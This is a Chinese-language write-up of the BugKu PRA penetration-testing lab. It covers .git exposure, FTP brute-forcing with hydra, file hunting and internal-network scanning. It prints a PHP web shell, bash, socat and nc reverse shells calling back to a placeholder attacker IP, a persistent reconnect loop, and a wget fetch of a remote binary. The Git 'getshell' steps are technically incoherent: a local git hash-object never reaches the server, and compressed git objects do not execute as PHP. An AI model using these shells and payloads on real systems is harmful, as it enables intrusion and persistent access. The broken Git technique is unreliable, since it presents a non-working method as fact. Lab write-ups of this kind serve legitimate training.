BugKu PRA靶场复盘:除了漏洞利用,Git仓库getshell与FTP弱口令这些“边角料”也别放过

BugKu PRA靶场复盘:除了漏洞利用,Git仓库getshell与FTP弱口令这些“边角料”也别放过

BugKu PRA靶场复盘:那些容易被忽略的攻击面实战指南

在渗透测试的实战中,真正的挑战往往不在于那些教科书式的漏洞利用,而在于如何发现并利用那些被大多数人忽略的"边角料"。本文将带你深入BugKu PRA靶场中那些容易被忽视的攻击面,从Git仓库利用到FTP弱口令突破,再到关键文件挖掘,为你打开渗透测试的新视角。

1. Git仓库:从信息泄露到getshell的完整链条

当扫描发现.git目录时,大多数人的第一反应是使用git-dumper工具下载仓库内容。但在实战中,这仅仅是开始。

1.1 深入挖掘.git目录的价值

标准的.git目录下载后,我们通常会检查:

  • config文件:可能包含数据库凭证或内部服务地址
  • logs/HEAD:查看最近提交记录,寻找敏感注释
  • index文件:分析当前暂存区内容

但PRA靶场展示了一个更隐蔽的攻击路径:利用可解析的服务器文件后缀。当服务器配置不当,允许解析.phtml等特殊后缀时,我们可以:

# 检查服务器是否解析.phtml curl -I http://192.168.1.3/.git/backdoor.phtml

1.2 实战中的getshell技巧

在确认服务器解析.phtml后,攻击流程如下:

  1. 在本地创建恶意文件:

    <?php system($_GET['cmd']); ?>
  2. 利用git对象存储机制上传:

    git hash-object -w backdoor.phtml
  3. 通过git的松散对象访问机制执行:

    http://192.168.1.3/.git/objects/xx/xxxxxx

注意:不同服务器对git对象的访问权限设置不同,有时需要尝试多种路径组合。

2. FTP服务:弱口令与目录遍历的深度利用

面对仅开放21端口的FTP服务,很多测试者会轻易放弃。但PRA靶场证明,这里可能藏着关键突破口。

2.1 高效爆破FTP弱口令的策略

不要局限于常见的admin/admin组合,实战中有效的爆破字典应包含:

  • 用户名密码相同的情况(如guest/guest)
  • 公司名/产品名相关的组合
  • 近期数据泄露中的高频凭证

使用hydra进行智能爆破:

hydra -L common_users.txt -P top100_passwords.txt ftp://10.10.0.3 -t 4 -vV

2.2 登录后的关键操作清单

成功登录FTP后,立即执行以下检查:

  1. 查看当前目录文件列表:

    ls -la
  2. 检查可写目录:

    find . -writable -type d
  3. 寻找包含特定关键词的文件:

    find . -name "*.sh" -o -name "*.conf"

3. 文件翻找:渗透测试中的"寻宝游戏"

在获取初步权限后,系统性地翻找文件往往能发现意外收获。

3.1 必须检查的关键文件位置

文件类型典型路径可能包含的信息
启动脚本/start.sh, /etc/init.d/环境变量、服务配置
配置文件.conf, config.数据库凭证、API密钥
日志文件/var/log/*访问记录、错误信息
临时文件/tmp/, /var/tmp/进程转储、会话数据

3.2 从start.sh中发现关键线索

PRA靶场中,start.sh文件揭示了flag3的位置。分析这类脚本时,重点关注:

  • 环境变量设置
  • 服务启动参数
  • 文件包含关系
  • 注释中的提示信息

例如:

#!/bin/bash # flag3 is in the static/js/utils.js npm start

4. 多层网络环境下的渗透策略

当目标处于多层网络后时,需要调整扫描和利用策略。

4.1 内网扫描的精准方法

使用适合内网的轻量级扫描器:

# 快速识别存活主机 fscan -h 192.168.0.1/24 -p 21,22,80,443 -o result.txt # 深度服务识别 nmap -sS -sV -T4 -Pn 10.10.0.3 --script=banner

4.2 稳定维持访问的技术要点

在连接不稳定的内网环境中,建议:

  1. 使用多种反弹shell方式:

    # 基础bash反弹 bash -i >& /dev/tcp/your_ip/4444 0>&1 # 使用socat更稳定 socat TCP:your_ip:4444 EXEC:/bin/bash
  2. 设置自动重连机制:

    while true; do nc your_ip 4444 -e /bin/bash; sleep 5; done
  3. 优先上传静态二进制工具:

    # 上传静态编译的busybox wget http://your_server/busybox -O /tmp/busybox chmod +x /tmp/busybox

渗透测试的艺术在于将每个看似微不足道的发现转化为实际突破口。在最近的一次红队演练中,正是通过系统性地检查.git目录和FTP服务,我们绕过了目标系统的主要防护措施。记住,没有无用的信息,只有未被充分利用的信息。